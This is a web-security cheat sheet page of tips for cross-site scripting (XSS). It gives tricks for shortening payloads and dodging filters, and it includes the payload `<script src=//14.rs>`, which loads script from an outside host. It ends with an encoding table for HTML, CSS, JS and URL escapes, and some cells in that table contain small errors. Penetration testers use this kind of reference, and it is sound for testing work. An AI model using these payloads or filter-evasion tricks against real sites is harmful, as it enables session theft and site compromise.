> For the complete documentation index, see [llms.txt](https://www.pwny.cc/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pwny.cc/web-attacks/cross-site-scripting-xss/xss-tips.md).

# XSS Tips

### Tips & Tricks

* `http(s)://` can be shortened to `//` or `/\\` or `\\`.
* `document.cookie` can be shortened to `cookie`. It applies to other DOM objects as well.
* alert and other pop-up functions don't need a value, so stop doing `alert('XSS')` and start doing `alert()`
* You can use `//` to close a tag instead of `>`.
* I have found that `confirm` is the least detected pop-up function so stop using `alert`.
* Quotes around attribute value aren't necessary as long as it doesn't contain spaces. You can use `<script src=//14.rs>` instead of `<script src="//14.rs">`
* The shortest HTML context XSS payload is `<script src=//14.rs>` (19 chars)

{% embed url="<https://compart.com/en/unicode>" %}
UTF-8 to Unicode converter
{% endembed %}

### Awesome Encoding

| HTML       | Char | Numeric  | Description            | Hex    | CSS (ISO) | JS (Octal) | URL |
| ---------- | ---- | -------- | ---------------------- | ------ | --------- | ---------- | --- |
| `&quot;`   | "    | `&#34;`  | quotation mark         | u+0022 | \0022     | \42        | %22 |
| `&num;`    | #    | `&#35;`  | number sign            | u+0023 | \0023     | \43        | %23 |
| `&dollar;` | $    | `&#36;`  | dollar sign            | u+0024 | \0024     | \44        | %24 |
| `&percnt;` | %    | `&#37;`  | percent sign           | u+0025 | \0025     | \45        | %25 |
| `&amp;`    | \`&  | `&#38;`  | ampersand              | u+0026 | \0026     | \46        | %26 |
| `&apos;`   | '    | `&#39;`  | apostrophe             | u+0027 | \0027     | \47        | %27 |
| `&lpar;`   | (    | `&#40;`  | left parenthesis       | u+0028 | \0028     | \50        | %28 |
| `&rpar;`   | )    | `&#41;`  | right parenthesis      | u+0029 | \0029     | \51        | %29 |
| `&ast;`    | \*   | `&#42;`  | asterisk               | u+002A | \002a     | \52        | %2A |
| `&plus;`   | +    | `&#43;`  | plus sign              | u+002B | \002b     | \53        | %2B |
| `&comma;`  | ,    | `&#44;`  | comma                  | u+002C | \002c     | \54        | %2C |
| `&minus;`  | -    | `&#45;`  | hyphen-minus           | u+002D | \002d     | \55        | %2D |
| `&period;` | .    | `&#46;`  | full stop; period      | u+002E | \002e     | \56        | %2E |
| `&sol;`    | /    | `&#47;`  | solidus; slash         | u+002F | \002f     | \57        | %2F |
| `&colon;`  | :    | `&#58;`  | colon                  | u+003A | \003a     | \72        | %3A |
| `&semi;`   | ;\`  | `&#59;`  | semicolon              | u+003B | \003b     | \73        | %3B |
| `&lt;`     | <    | `&#60;`  | less-than              | u+003C | \003c     | \74        | %3C |
| `&equals;` | =    | `&#61;`  | equals                 | u+003D | \003d     | \75        | %3D |
| `&gt;`     | >    | `&#62;`  | greater-than sign      | u+003E | \003e     | \76        | %3E |
| `&quest;`  | ?    | `&#63;`  | question mark          | u+003F | \003f     | \77        | %3F |
| `&commat;` | @    | `&#64;`  | at sign; commercial at | u+0040 | \0040     | \100       | %40 |
| `&lsqb;`   | \[   | `&#91;`  | left square bracket    | u+005B | \005b     | \133       | %5B |
| `&bsol;`   | /    | `&#92;`  | backslash              | u+005C | \005c     | \134       | %5C |
| `&rsqb;`   | ]    | `&#93;`  | right square bracket   | u+005D | \005d     | \135       | %5D |
| `&Hat;`    | ^    | `&#94;`  | circumflex accent      | u+005E | \005e     | \136       | %5E |
| `&lowbar;` | \_   | `&#95;`  | low line               | u+005F | \005f     | \137       | %5F |
| `&grave;`  | \`   | `&#96;`  | grave accent           | u+0060 | \0060     | \u0060     | %60 |
| `&lcub;`   | {    | `&#123;` | left curly bracket     | u+007b | \007b     | \173       | %7b |
| `&verbar;` | \|   | `&#124;` | vertical bar           | u+007c | \007c     | \174       | %7c |
| `&rcub;`   | }    | `&#125;` | right curly bracket    | u+007d | \007d     | \175       | %7d |


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